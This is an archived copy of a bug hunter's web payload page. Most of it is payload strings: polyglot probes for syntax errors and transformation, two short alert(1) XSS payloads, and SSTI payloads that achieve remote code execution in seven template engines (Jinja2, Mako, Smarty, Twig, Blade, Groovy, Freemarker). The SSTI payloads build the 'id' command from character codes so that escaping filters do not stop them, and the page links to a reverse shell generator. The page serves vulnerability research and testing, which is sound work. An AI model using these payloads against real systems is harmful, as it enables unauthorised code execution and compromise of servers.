---
type: Article
title: Payloads
description: "Alex Brumen's payload collection includes syntax-error and transformation probes, compact XSS variants, and self-contained SSTI RCE payloads for seven template engines. The SSTI section constructs commands from built-in string and character operations rather than quoted literals or external request values, with application-dependent offsets called out."
resource: "https://brum3ns.github.io/payloads/"
tags: [article, webseclist-reference, en, brumens, ssti, rce, filter-bypass, xss, detection, command-injection, python, php, java, prior-art-extension, owasp-a03-2021, owasp-a05-2021, owasp-a09-2021]
generated:
  by: webseclist-refs/1
  at: "2026-09-02T17:24:49+00:00"
status: stable
stale_after: 2027-09-02
sources:
  - id: original
    resource: "https://brum3ns.github.io/payloads/"
    title: Payloads
    author: Alex Brumen
    last_modified: 2025-11-05
also_at: []
authors:
  - Alex Brumen
canonical_url: ""
cited_by:
  - "2024.md:159"
commit: ""
content_sha256: be9ab0243ecd70e412741a00188a3911ba98645fad13e29e8fb10fb0540d5a8d
depth: full
depth_reason: default
kind: article
language: en
licence: unknown
original_url: "https://brum3ns.github.io/payloads/"
published: 2025-11-05
publisher: Brumens
publisher_english: ""
raw_sha256: 3c8cf4d9cc99aeee562be62b6ff5b4e86618e19693f2743fc57839c0b9586150
retrieved_from: "https://brum3ns.github.io/payloads/"
retrieved_kind: live
retrieved_utc: "2026-09-02T17:24:49+00:00"
slug: 2025-brumens-payloads
snapshot: ""
title_english: ""
translation_file: ""
translation_of: ""
---

# Payloads

**Payloads** - Alex Brumen, Brumens.

- Published: 2025-11-05
- Original: <https://brum3ns.github.io/payloads/>
- Preserved from: https://brum3ns.github.io/payloads/ (live) on 2026-09-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

#  Payloads

A list of payloads that I do use when hunting for vulnerabilities. Personaly, I rarly use exploitation payloads but instead detection payloads.

> All payloads shown on this page are created by me. I provide a basic overview of my payloads, exploitation payloads and more advanced detection payloads will not be shared.

## Polyglot payloads**

> This payload focuses on the detection of syntax errors

`

|

```
1

```

```
<z>"z'z`%}})z${{z\

```

 |  |  |

`

> This payload focuses on detecting transformation that can be used in future attacks

`

|

```
1

```

```
tfmtstart%255Az%5Az\x5Az\u005Az%26%23x5A%3Btfmtend

```

 |  |  |

`

## Cool payloads**

> This core payload was discoverd by the amazing research [garethheyes](https://x.com/garethheyes)! You can read more about his research on it [here](https://x.com/garethheyes/status/1813658752245236105).

I made a few adjustments to it:

`

|

```
1

```

```
<script>'<!--<script>'</script>//alert(1)</script>

```

 |  |  |

`

> The Fake comment XSS

`

|

```
1

```

```
/\///alert(1)

```

 |  |  |

`

## Server Side Template Injection (SSTI)**

### Double template rendering payloads**

> Some of the indexes used in the payload to extract characters for strings may need to be changed depending on the application you are using.

> These payloads can be used to bypass `autoescape` / `html escape` filters.

#### Jinja2**

**Impact:** Remote Code Execution (RCE)

`

|

```
1

```

```
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[150:152]+self.__init__.__globals__.__str__()[694]).read()}}

```

 |  |  |

`

#### Mako**

**Impact:** Remote Code Execution (RCE)

`

|

```
1

```

```
${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}

```

 |  |  |

`

#### Smarty**

**Impact:** Remote Code Execution (RCE)

`

|

```
1

```

```
{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}

```

 |  |  |

`

#### Twig**

**Impact:** Remote Code Execution (RCE)

`

|

```
1

```

```
{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}

```

 |  |  |

`

`

|

```
1

```

```
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}

```

 |  |  |

`

#### Blade**

**Impact:** Remote Code Execution (RCE)

`

|

```
1

```

```
{{passthru(implode(Null,array_map(chr(99).chr(104).chr(114),[105,100])))}}

```

 |  |  |

`

#### Groovy**

**Impact:** Remote Code Execution (RCE)

`

|

```
1

```

```
${x=new String();for(i in[105,100]){x+=((char)i).toString()};x.execute().text}

```

 |  |  |

`

#### Freemarker**

**Impact:** Remote Code Execution (RCE)

`

|

```
1

```

```
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}

```

 |  |  |

`

You can find a lot of great resources related to payloads below.

- [Payloads All The Things ](https://github.com/swisskyrepo/PayloadsAllTheThings)
- [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
- [Reverse Shell Generator](https://www.revshells.com/)
